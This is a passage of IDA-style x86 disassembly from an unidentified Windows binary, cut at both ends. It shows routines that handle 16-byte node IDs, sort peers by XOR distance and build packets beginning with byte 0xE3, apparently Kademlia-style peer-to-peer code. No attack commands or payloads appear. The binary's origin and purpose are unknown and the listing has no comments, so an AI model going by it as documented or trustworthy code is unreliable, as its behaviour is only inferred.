loc_409D4B: ; CODE XREF: sub_409CF6+39j push 0 call sub_40CFAE pop ecx mov [edi], eax xor bl, bl loc_409D57: ; CODE XREF: sub_409CF6+ADj push [ebp+var_4] call ds:dword_4180E0 pop edi pop esi mov al, bl pop ebx leave retn 8 ; --------------------------------------------------------------------------- loc_409D69: ; CODE XREF: sub_409CF6+4Cj xor esi, esi loc_409D6B: ; CODE XREF: sub_409CF6+53j push 0 call sub_40CFAE push ebx mov [esi], eax mov [esi+4], ebx call sub_40D0BB pop ecx pop ecx lea edi, [esi+8] push eax mov ecx, edi call sub_408034 push ebx push [ebp+arg_0] push dword ptr [edi] call sub_40CCF7 mov ecx, [ebp+var_8] add esp, 0Ch push esi call sub_4151CB mov bl, 1 jmp short loc_409D57 sub_409CF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409DA5 proc near ; CODE XREF: sub_409866+B4p var_108 = byte ptr -108h var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 108h lea eax, [ebp+var_4] push eax lea eax, [ebp+var_108] push eax push 104h push [ebp+arg_C] call ds:dword_418108 lea eax, [ebp+var_108] push eax push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_418074 leave retn sub_409DA5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409DDF proc near ; CODE XREF: sub_4099EF+51p var_108 = byte ptr -108h var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 108h lea eax, [ebp+var_4] push eax lea eax, [ebp+var_108] push eax push 104h push [ebp+arg_8] call ds:dword_418108 lea eax, [ebp+var_108] push eax push [ebp+arg_4] push [ebp+arg_0] call ds:dword_418070 leave retn sub_409DDF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409E16 proc near ; CODE XREF: sub_409866+56p var_108 = byte ptr -108h var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 108h lea eax, [ebp+var_4] push eax lea eax, [ebp+var_108] push eax push 104h push [ebp+arg_14] call ds:dword_418108 lea eax, [ebp+var_108] push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_41806C leave retn sub_409E16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409E56 proc near ; CODE XREF: sub_409866+9Fp ; sub_4099EF+9Fp var_108 = byte ptr -108h var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 108h lea eax, [ebp+var_4] push eax lea eax, [ebp+var_108] push eax push 104h push [ebp+arg_C] call ds:dword_418108 lea eax, [ebp+var_108] push eax push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_418068 leave retn sub_409E56 endp ; =============== S U B R O U T I N E ======================================= sub_409E90 proc near ; CODE XREF: sub_40A1D1+53p ; sub_40A3A4+52p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] mov edx, [esp+arg_4] push esi push edi push 10h mov edi, ecx pop esi loc_409E9F: ; CODE XREF: sub_409E90+16j mov al, [edx] mov [ecx], al inc ecx inc edx dec esi jnz short loc_409E9F mov eax, edi pop edi pop esi retn sub_409E90 endp ; =============== S U B R O U T I N E ======================================= sub_409EAD proc near ; CODE XREF: sub_40AD74+83p ; sub_40B8DC+70p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 10h push [esp+4+arg_4] push [esp+8+arg_0] call sub_40CD18 add esp, 0Ch neg eax sbb eax, eax inc eax retn sub_409EAD endp ; =============== S U B R O U T I N E ======================================= sub_409EC5 proc near ; CODE XREF: sub_40A1D1+3Fp ; sub_40AA77+87p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] mov eax, [esp+arg_0] push esi xor esi, esi loc_409ED0: ; CODE XREF: sub_409EC5+17j mov dl, [eax] cmp dl, [ecx] jnz short loc_409EE2 inc esi inc eax inc ecx cmp esi, 10h jl short loc_409ED0 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_409EE2: ; CODE XREF: sub_409EC5+Fj movzx eax, byte ptr [eax] cmp al, [ecx] pop esi sbb eax, eax neg eax retn sub_409EC5 endp ; =============== S U B R O U T I N E ======================================= sub_409EED proc near ; CODE XREF: sub_40A1D1+13p ; sub_40A1D1+32p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_0] mov edx, [esp+arg_8] push ebx push esi mov esi, [esp+8+arg_4] push edi push 10h mov eax, ecx pop edi loc_409F01: ; CODE XREF: sub_409EED+1Ej mov bl, [esi] xor bl, [edx] mov [ecx], bl inc ecx inc edx inc esi dec edi jnz short loc_409F01 pop edi pop esi pop ebx retn sub_409EED endp ; =============== S U B R O U T I N E ======================================= sub_409F11 proc near ; CODE XREF: sub_40A442+3Bp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi loc_409F19: ; CODE XREF: sub_409F11+14j call sub_40CF34 mov [esi+edi], al inc esi cmp esi, 10h jl short loc_409F19 mov eax, edi pop edi pop esi retn sub_409F11 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409F2C proc near ; CODE XREF: sub_409866+111p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi xor esi, esi cmp [ebp+arg_4], esi jnz short loc_409F3C xor eax, eax jmp short loc_409F87 ; --------------------------------------------------------------------------- loc_409F3C: ; CODE XREF: sub_409F2C+Aj push [ebp+arg_4] call sub_40CD83 test al, 1 pop ecx mov [ebp+var_4], eax jz short loc_409F4F dec [ebp+var_4] loc_409F4F: ; CODE XREF: sub_409F2C+1Ej push ebx mov ebx, [ebp+arg_0] push edi xor eax, eax mov edi, ebx stosd stosd stosd stosd loc_409F5C: ; CODE XREF: sub_409F2C+55j cmp [ebp+var_4], 0 jle short loc_409F83 push 2 push [ebp+arg_4] call sub_40C6D8 test eax, eax pop ecx pop ecx jl short loc_409F8A add [ebp+arg_4], 2 sub [ebp+var_4], 2 mov [esi+ebx], al inc esi cmp esi, 10h jl short loc_409F5C loc_409F83: ; CODE XREF: sub_409F2C+34j mov eax, ebx loc_409F85: ; CODE XREF: sub_409F2C+60j pop edi pop ebx loc_409F87: ; CODE XREF: sub_409F2C+Ej pop esi leave retn ; --------------------------------------------------------------------------- loc_409F8A: ; CODE XREF: sub_409F2C+44j xor eax, eax jmp short loc_409F85 sub_409F2C endp ; =============== S U B R O U T I N E ======================================= sub_409F8E proc near ; CODE XREF: sub_40A060+22p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi push edi mov edi, [esp+8+arg_4] push edi mov esi, ecx call sub_40D0BB push edi push [esp+10h+arg_0] mov [esi], eax push eax call sub_40CCF7 mov eax, [esp+18h+arg_8] mov [esi+8], eax mov eax, [esp+18h+arg_C] add esp, 10h mov [esi+4], edi mov [esi+0Ch], eax pop edi mov eax, esi pop esi retn 10h sub_409F8E endp ; =============== S U B R O U T I N E ======================================= sub_409FC4 proc near ; CODE XREF: sub_40A060+56p ; sub_40B75C+14p ... arg_0 = byte ptr 4 push esi mov esi, ecx push dword ptr [esi] call sub_40D0B6 test [esp+8+arg_0], 1 pop ecx jz short loc_409FDD push esi call sub_40D0B6 pop ecx loc_409FDD: ; CODE XREF: sub_409FC4+10j mov eax, esi pop esi retn 4 sub_409FC4 endp ; =============== S U B R O U T I N E ======================================= sub_409FE3 proc near ; CODE XREF: sub_40A060+31p arg_0 = dword ptr 4 push ebx push esi mov esi, ecx push esi call ds:dword_4180DC mov ecx, [esi+11Ch] lea eax, [esi+118h] mov edx, [eax] sub edx, ecx cmp edx, 40h jnb short loc_40A022 mov ecx, [eax] mov edx, [esp+8+arg_0] and ecx, 3Fh mov [esi+ecx*4+18h], edx inc dword ptr [eax] mov bl, 1 loc_40A014: ; CODE XREF: sub_409FE3+41j push esi call ds:dword_4180E0 pop esi mov al, bl pop ebx retn 4 ; --------------------------------------------------------------------------- loc_40A022: ; CODE XREF: sub_409FE3+1Ej xor bl, bl jmp short loc_40A014 sub_409FE3 endp ; =============== S U B R O U T I N E ======================================= sub_40A026 proc near ; CODE XREF: sub_40A0C2+21p ; sub_40B75C+7p push esi push edi mov esi, ecx push esi call ds:dword_4180DC mov eax, [esi+118h] lea ecx, [esi+11Ch] mov edx, [ecx] cmp edx, eax jnb short loc_40A05C mov eax, [ecx] and eax, 3Fh mov eax, [esi+eax*4+18h] inc dword ptr [ecx] mov edi, eax loc_40A050: ; CODE XREF: sub_40A026+38j push esi call ds:dword_4180E0 mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_40A05C: ; CODE XREF: sub_40A026+1Bj xor edi, edi jmp short loc_40A050 sub_40A026 endp ; =============== S U B R O U T I N E ======================================= sub_40A060 proc near ; DATA XREF: .rdata:off_41C15Co arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi push edi push 10h mov esi, ecx call sub_40D0BB test eax, eax pop ecx jz short loc_40A08B push [esp+8+arg_C] mov ecx, eax push [esp+0Ch+arg_8] push [esp+10h+arg_4] push [esp+14h+arg_0] call sub_409F8E mov edi, eax jmp short loc_40A08D ; --------------------------------------------------------------------------- loc_40A08B: ; CODE XREF: sub_40A060+Ej xor edi, edi loc_40A08D: ; CODE XREF: sub_40A060+29j push edi lea ecx, [esi+4] call sub_409FE3 test al, al jz short loc_40A0AE push 0 push 1 push dword ptr [esi+124h] call ds:dword_418064 mov al, 1 jmp short loc_40A0BD ; --------------------------------------------------------------------------- loc_40A0AE: ; CODE XREF: sub_40A060+38j test edi, edi jz short loc_40A0BB push 1 mov ecx, edi call sub_409FC4 loc_40A0BB: ; CODE XREF: sub_40A060+50j xor al, al loc_40A0BD: ; CODE XREF: sub_40A060+4Cj pop edi pop esi retn 10h sub_40A060 endp ; =============== S U B R O U T I N E ======================================= sub_40A0C2 proc near ; CODE XREF: sub_40B8DC+EAp ; sub_40B9D7+4Dp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] imul eax, 3E8h push esi mov esi, ecx push eax push dword ptr [esi+124h] call ds:dword_4180B8 test eax, eax jnz short loc_40A0EA lea ecx, [esi+4] call sub_40A026 jmp short loc_40A0EC ; --------------------------------------------------------------------------- loc_40A0EA: ; CODE XREF: sub_40A0C2+1Cj xor eax, eax loc_40A0EC: ; CODE XREF: sub_40A0C2+26j pop esi retn 4 sub_40A0C2 endp ; =============== S U B R O U T I N E ======================================= sub_40A0F0 proc near ; CODE XREF: sub_409866+104p ; sub_40A105+12p ... push esi push 20h mov esi, ecx push 0 push esi call sub_40CCD9 add esp, 0Ch mov eax, esi pop esi retn sub_40A0F0 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_40A105 proc near ; CODE XREF: sub_40A1D1+62p ; sub_40A260+D6p push esi push edi push 20h mov esi, ecx call sub_40D0BB test eax, eax pop ecx jz short loc_40A11E mov ecx, eax call sub_40A0F0 jmp short loc_40A120 ; --------------------------------------------------------------------------- loc_40A11E: ; CODE XREF: sub_40A105+Ej xor eax, eax loc_40A120: ; CODE XREF: sub_40A105+17j push 8 pop ecx mov edi, eax rep movsd pop edi pop esi retn sub_40A105 endp ; =============== S U B R O U T I N E ======================================= sub_40A12A proc near ; CODE XREF: sub_40A168+12p ; sub_40AC28+88p arg_0 = byte ptr 4 push ebx mov ebx, ecx push esi mov esi, [ebx] test esi, esi jz short loc_40A163 push edi loc_40A135: ; CODE XREF: sub_40A12A+36j cmp [esp+0Ch+arg_0], 0 jz short loc_40A151 test esi, esi jz short loc_40A144 mov eax, [esi] jmp short loc_40A146 ; --------------------------------------------------------------------------- loc_40A144: ; CODE XREF: sub_40A12A+14j xor eax, eax loc_40A146: ; CODE XREF: sub_40A12A+18j test eax, eax jz short loc_40A151 push eax call sub_40D0B6 pop ecx loc_40A151: ; CODE XREF: sub_40A12A+10j ; sub_40A12A+1Ej mov edi, [esi+4] push esi mov ecx, ebx call sub_4041B2 test edi, edi mov esi, edi jnz short loc_40A135 pop edi loc_40A163: ; CODE XREF: sub_40A12A+8j pop esi pop ebx retn 4 sub_40A12A endp ; =============== S U B R O U T I N E ======================================= sub_40A168 proc near ; CODE XREF: sub_40A48A+15j ; sub_40BD87+1FBp ... push esi push edi mov edi, ecx lea esi, [edi+8] push esi call ds:dword_4180DC push 1 mov ecx, edi call sub_40A12A push esi call ds:dword_4180E0 push esi call ds:dword_4180D8 pop edi pop esi retn sub_40A168 endp ; =============== S U B R O U T I N E ======================================= sub_40A190 proc near ; CODE XREF: sub_40A35D+22p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [ecx] test eax, eax push esi mov esi, [esp+4+arg_8] mov [esi], eax jz short loc_40A1C7 loc_40A19D: ; CODE XREF: sub_40A190+35j mov eax, [esi] test eax, eax jz short loc_40A1A7 mov eax, [eax] jmp short loc_40A1A9 ; --------------------------------------------------------------------------- loc_40A1A7: ; CODE XREF: sub_40A190+11j xor eax, eax loc_40A1A9: ; CODE XREF: sub_40A190+15j mov ecx, [esp+4+arg_0] cmp ecx, [eax+10h] jnz short loc_40A1BB mov ecx, [esp+4+arg_4] cmp ecx, [eax+14h] jz short loc_40A1CD loc_40A1BB: ; CODE XREF: sub_40A190+20j mov ecx, esi call sub_409851 cmp dword ptr [esi], 0 jnz short loc_40A19D loc_40A1C7: ; CODE XREF: sub_40A190+Bj xor al, al loc_40A1C9: ; CODE XREF: sub_40A190+3Fj pop esi retn 0Ch ; --------------------------------------------------------------------------- loc_40A1CD: ; CODE XREF: sub_40A190+29j mov al, 1 jmp short loc_40A1C9 sub_40A190 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A1D1 proc near ; CODE XREF: sub_40AC28+4Ap var_20 = byte ptr -20h var_10 = byte ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 20h push esi push [ebp+arg_4] lea eax, [ebp+var_20] push [ebp+arg_0] mov esi, ecx push eax call sub_409EED mov esi, [esi] add esp, 0Ch test esi, esi jz short loc_40A250 push edi loc_40A1F3: ; CODE XREF: sub_40A1D1+7Cj mov edi, [esi] cmp byte ptr [edi+1Dh], 0 jz short loc_40A244 push [ebp+arg_4] lea eax, [ebp+var_10] push edi push eax call sub_409EED lea eax, [ebp+var_20] push eax lea eax, [ebp+var_10] push eax call sub_409EC5 add esp, 14h test eax, eax jz short loc_40A244 lea eax, [ebp+var_10] push eax lea eax, [ebp+var_20] push eax call sub_409E90 cmp [ebp+arg_C], 0 pop ecx pop ecx jz short loc_40A23B mov ecx, edi call sub_40A105 push eax jmp short loc_40A23C ; --------------------------------------------------------------------------- loc_40A23B: ; CODE XREF: sub_40A1D1+5Ej push edi loc_40A23C: ; CODE XREF: sub_40A1D1+68j mov ecx, [ebp+arg_8] call sub_4151CB loc_40A244: ; CODE XREF: sub_40A1D1+28j ; sub_40A1D1+49j test esi, esi jz short loc_40A24F mov esi, [esi+4] test esi, esi jnz short loc_40A1F3 loc_40A24F: ; CODE XREF: sub_40A1D1+75j pop edi loc_40A250: ; CODE XREF: sub_40A1D1+1Fj mov ecx, [ebp+arg_8] xor eax, eax cmp [ecx+4], eax pop esi setnle al leave retn 10h sub_40A1D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A260 proc near ; CODE XREF: sub_40BD87+34p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 0Ch and [ebp+var_C], 0 and [ebp+var_8], 0 push esi mov esi, [ecx] test esi, esi jz short loc_40A297 loc_40A275: ; CODE XREF: sub_40A260+2Fj mov eax, [esi] cmp byte ptr [eax+1Dh], 0 jz short loc_40A286 push eax lea ecx, [ebp+var_C] call sub_4151CB loc_40A286: ; CODE XREF: sub_40A260+1Bj test esi, esi jz short loc_40A291 mov esi, [esi+4] test esi, esi jnz short loc_40A275 loc_40A291: ; CODE XREF: sub_40A260+28j cmp [ebp+var_8], 0 jnz short loc_40A29E loc_40A297: ; CODE XREF: sub_40A260+13j xor al, al jmp loc_40A358 ; --------------------------------------------------------------------------- loc_40A29E: ; CODE XREF: sub_40A260+35j mov edx, [ebp+arg_0] and [ebp+var_4], 0 push ebx push edi mov edi, [ebp+arg_4] sub edx, edi mov [ebp+arg_4], edx loc_40A2AF: ; CODE XREF: sub_40A260+A8j movzx esi, byte ptr [edx+edi] movzx eax, byte ptr [edi] xor esi, eax jle short loc_40A300 loc_40A2BA: ; CODE XREF: sub_40A260+9Ej mov eax, [ebp+var_C] jmp short loc_40A2F7 ; --------------------------------------------------------------------------- loc_40A2BF: ; CODE XREF: sub_40A260+99j mov ebx, [ebp+var_4] mov ecx, [eax] movzx ecx, byte ptr [ecx+ebx] movzx ebx, byte ptr [edi] xor ecx, ebx cmp ecx, esi jle short loc_40A2EC mov ebx, [eax+4] push eax lea ecx, [ebp+var_C] call sub_4041B2 mov ecx, [ebp+var_8] cmp ecx, [ebp+arg_10] mov eax, ebx jz short loc_40A30A mov edx, [ebp+arg_4] jmp short loc_40A2F7 ; --------------------------------------------------------------------------- loc_40A2EC: ; CODE XREF: sub_40A260+6Fj test eax, eax jz short loc_40A2FB mov eax, [eax+4] test eax, eax jz short loc_40A2FB loc_40A2F7: ; CODE XREF: sub_40A260+5Dj ; sub_40A260+8Aj test eax, eax jnz short loc_40A2BF loc_40A2FB: ; CODE XREF: sub_40A260+8Ej ; sub_40A260+95j dec esi test esi, esi jg short loc_40A2BA loc_40A300: ; CODE XREF: sub_40A260+58j inc [ebp+var_4] inc edi cmp [ebp+var_4], 10h jl short loc_40A2AF loc_40A30A: ; CODE XREF: sub_40A260+85j mov esi, [ebp+var_C] test esi, esi jz short loc_40A34B loc_40A311: ; CODE XREF: sub_40A260+E9j dec [ebp+arg_14] js short loc_40A34B test esi, esi jz short loc_40A31E mov ebx, [esi] jmp short loc_40A320 ; --------------------------------------------------------------------------- loc_40A31E: ; CODE XREF: sub_40A260+B8j xor ebx, ebx loc_40A320: ; CODE XREF: sub_40A260+BCj mov edi, [esi+4] push esi lea ecx, [ebp+var_C] call sub_4041B2 cmp [ebp+arg_C], 0 mov esi, edi jz short loc_40A33E mov ecx, ebx call sub_40A105 push eax jmp short loc_40A33F ; --------------------------------------------------------------------------- loc_40A33E: ; CODE XREF: sub_40A260+D2j push ebx loc_40A33F: ; CODE XREF: sub_40A260+DCj mov ecx, [ebp+arg_8] call sub_4151CB test edi, edi jnz short loc_40A311 loc_40A34B: ; CODE XREF: sub_40A260+AFj ; sub_40A260+B4j mov ecx, [ebp+arg_8] xor eax, eax cmp [ecx+4], eax pop edi setnle al pop ebx loc_40A358: ; CODE XREF: sub_40A260+39j pop esi leave retn 18h sub_40A260 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A35D proc near ; CODE XREF: sub_40A879+19p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, ecx lea edi, [esi+8] push edi call ds:dword_4180DC lea eax, [ebp+var_4] push eax push [ebp+arg_4] mov ecx, esi push [ebp+arg_0] call sub_40A190 test al, al jz short loc_40A393 mov eax, [ebp+var_4] test eax, eax jz short loc_40A393 mov esi, [eax] jmp short loc_40A395 ; --------------------------------------------------------------------------- loc_40A393: ; CODE XREF: sub_40A35D+29j ; sub_40A35D+30j xor esi, esi loc_40A395: ; CODE XREF: sub_40A35D+34j push edi call ds:dword_4180E0 pop edi mov eax, esi pop esi leave retn 8 sub_40A35D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A3A4 proc near ; CODE XREF: sub_40A53E+36p ; sub_40B9D7+14Ap ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ebx push edi mov edi, ecx lea eax, [edi+8] push eax mov [ebp+var_4], eax call ds:dword_4180DC mov eax, [edi] mov ebx, [ebp+arg_8] jmp short loc_40A3D6 ; --------------------------------------------------------------------------- loc_40A3C0: ; CODE XREF: sub_40A3A4+34j mov ecx, [eax] mov edx, [ebp+arg_4] cmp edx, [ecx+10h] jnz short loc_40A3CF cmp ebx, [ecx+14h] jz short loc_40A3F2 loc_40A3CF: ; CODE XREF: sub_40A3A4+24j test eax, eax jz short loc_40A3DA mov eax, [eax+4] loc_40A3D6: ; CODE XREF: sub_40A3A4+1Aj test eax, eax jnz short loc_40A3C0 loc_40A3DA: ; CODE XREF: sub_40A3A4+2Dj push esi push 20h call sub_40D0BB test eax, eax pop ecx jz short loc_40A410 mov ecx, eax call sub_40A0F0 mov esi, eax jmp short loc_40A412 ; --------------------------------------------------------------------------- loc_40A3F2: ; CODE XREF: sub_40A3A4+29j push [ebp+arg_0] push ecx call sub_409E90 pop ecx pop ecx xor bl, bl loc_40A3FF: ; CODE XREF: sub_40A3A4+9Cj push [ebp+var_4] call ds:dword_4180E0 pop edi mov al, bl pop ebx leave retn 0Ch ; --------------------------------------------------------------------------- loc_40A410: ; CODE XREF: sub_40A3A4+41j xor esi, esi loc_40A412: ; CODE XREF: sub_40A3A4+4Cj push [ebp+arg_0] push esi call sub_409E90 mov eax, [ebp+arg_4] push 0 mov [esi+10h], eax mov [esi+14h], ebx mov byte ptr [esi+1Ch], 0 call sub_40CFAE add esp, 0Ch push esi mov ecx, edi mov [esi+18h], eax call sub_4151CB mov bl, 1 pop esi jmp short loc_40A3FF sub_40A3A4 endp ; =============== S U B R O U T I N E ======================================= sub_40A442 proc near ; CODE XREF: sub_40BBB5+5p push ebx xor ebx, ebx push esi mov esi, ecx lea ecx, [esi+28h] mov dword ptr [esi], offset off_41C118 mov [esi+4], bl mov [esi+8], ebx mov [esi+0Ch], ebx mov [esi+10h], ebx mov [esi+14h], ebx call sub_409BF1 lea ecx, [esi+48h] call sub_409BF1 push ebx call sub_40CFAE push eax call sub_40CF2A lea eax, [esi+18h] push eax call sub_409F11 add esp, 0Ch mov eax, esi pop esi pop ebx retn sub_40A442 endp ; =============== S U B R O U T I N E ======================================= sub_40A48A proc near ; CODE XREF: sub_40A522+3p ; sub_40B41F+CBp push esi mov esi, ecx lea ecx, [esi+48h] mov dword ptr [esi], offset off_41C118 call sub_409C66 lea ecx, [esi+28h] pop esi jmp sub_40A168 sub_40A48A endp ; =============== S U B R O U T I N E ======================================= sub_40A4A4 proc near ; CODE XREF: sub_40A5D3+2Ep ; sub_40A8D4+2Cp arg_0 = dword ptr 4 push esi mov esi, ecx cmp byte ptr [esi+4], 0 push edi jz short loc_40A4BE mov edi, [esp+8+arg_0] push 0 push edi call sub_4097C7 push 0 jmp short loc_40A4D8 ; --------------------------------------------------------------------------- loc_40A4BE: ; CODE XREF: sub_40A4A4+8j mov eax, [esi+8] test eax, eax jnz short loc_40A4C8 mov eax, [esi+0Ch] loc_40A4C8: ; CODE XREF: sub_40A4A4+1Fj mov edi, [esp+8+arg_0] push eax push edi call sub_4097C7 movzx eax, word ptr [esi+10h] push eax loc_40A4D8: ; CODE XREF: sub_40A4A4+18j push edi call sub_409783 mov eax, [edi] add esp, 10h pop edi pop esi retn 4 sub_40A4A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A4E8 proc near ; CODE XREF: sub_40A5D3+4Ap ; sub_40A64B+32p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp xor eax, eax cmp [ebp+arg_0], eax jz short loc_40A51C cmp [ebp+arg_4], eax jz short loc_40A51C cmp [ebp+arg_8], eax jz short loc_40A51C cmp [ebp+arg_C], eax jle short loc_40A51C push [ebp+arg_C] mov eax, [ecx] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword ptr [eax+8] sub eax, [ebp+arg_C] neg eax sbb eax, eax inc eax jmp short loc_40A51E ; --------------------------------------------------------------------------- loc_40A51C: ; CODE XREF: sub_40A4E8+8j ; sub_40A4E8+Dj ... xor al, al loc_40A51E: ; CODE XREF: sub_40A4E8+32j pop ebp retn 10h sub_40A4E8 endp ; =============== S U B R O U T I N E ======================================= sub_40A522 proc near ; DATA XREF: .rdata:off_41C118o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_40A48A test [esp+4+arg_0], 1 jz short loc_40A538 push esi call sub_40D0B6 pop ecx loc_40A538: ; CODE XREF: sub_40A522+Dj mov eax, esi pop esi retn 4 sub_40A522 endp ; =============== S U B R O U T I N E ======================================= sub_40A53E proc near ; CODE XREF: sub_40A582+46p ; sub_40AA1A+1Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_4] test edx, edx jz short loc_40A57D mov eax, [esp+arg_8] test eax, eax jz short loc_40A57D cmp dword ptr [ecx+2Ch], 400h jge short loc_40A57D cmp edx, [ecx+8] jnz short loc_40A561 cmp eax, [ecx+10h] jz short loc_40A57D loc_40A561: ; CODE XREF: sub_40A53E+1Cj cmp edx, [ecx+0Ch] jnz short loc_40A56B cmp eax, [ecx+10h] jz short loc_40A57D loc_40A56B: ; CODE XREF: sub_40A53E+26j push eax push edx push [esp+8+arg_0] add ecx, 28h call sub_40A3A4 mov al, 1 jmp short locret_40A57F ; --------------------------------------------------------------------------- loc_40A57D: ; CODE XREF: sub_40A53E+6j ; sub_40A53E+Ej ... xor al, al locret_40A57F: ; CODE XREF: sub_40A53E+3Dj retn 0Ch sub_40A53E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A582 proc near ; CODE XREF: sub_40A7E2+3Ep ; sub_40A837+35p ... var_10 = byte ptr -10h arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 10h push esi mov esi, ecx cmp dword ptr [esi+2Ch], 400h jl short loc_40A598 xor al, al jmp short loc_40A5CE ; --------------------------------------------------------------------------- loc_40A598: ; CODE XREF: sub_40A582+10j push edi lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax call sub_409765 lea eax, [ebp+arg_0] push eax call sub_409735 mov edi, eax lea eax, [ebp+arg_0] push eax call sub_40970B movzx eax, ax add esp, 10h push eax push edi lea eax, [ebp+var_10] push eax mov ecx, esi call sub_40A53E pop edi loc_40A5CE: ; CODE XREF: sub_40A582+14j pop esi leave retn 4 sub_40A582 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A5D3 proc near ; CODE XREF: sub_40A627+Ap ; sub_40A639+Ap var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1Ch mov al, byte ptr [ebp+arg_0] mov [ebp+var_1B], al push esi lea eax, [ebp+var_1A] mov esi, ecx mov [ebp+arg_0], eax lea eax, [esi+18h] push eax lea eax, [ebp+arg_0] push eax mov [ebp+var_1C], 0E3h call sub_4097FB pop ecx pop ecx lea eax, [ebp+arg_0] push eax mov ecx, esi call sub_40A4A4 mov eax, [ebp+arg_0] mov byte ptr [eax], 0 inc [ebp+arg_0] push 19h lea eax, [ebp+var_1C] push eax push [ebp+arg_8] mov ecx, esi push [ebp+arg_4] call sub_40A4E8 pop esi leave retn 0Ch sub_40A5D3 endp ; =============== S U B R O U T I N E ======================================= sub_40A627 proc near ; CODE XREF: sub_40A879+4Bp ; sub_40BC77+BBp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] push 0Ah call sub_40A5D3 retn 8 sub_40A627 endp ; =============== S U B R O U T I N E ======================================= sub_40A639 proc near ; CODE XREF: sub_40B56E+82p ; sub_40BC77+36p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] push 0Ch call sub_40A5D3 retn 8 sub_40A639 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A64B proc near ; CODE XREF: sub_40BC77+D9p var_8 = dword ptr -8 var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push esi push [ebp+arg_8] lea eax, [ebp+var_2] mov [ebp+var_8], eax lea eax, [ebp+var_8] push eax mov esi, ecx mov [ebp+var_4], 0E3h mov [ebp+var_3], 1Bh call sub_409783 pop ecx pop ecx push 4 lea eax, [ebp+var_4] push eax push [ebp+arg_4] mov ecx, esi push [ebp+arg_0] call sub_40A4E8 pop esi leave retn 0Ch sub_40A64B endp ; =============== 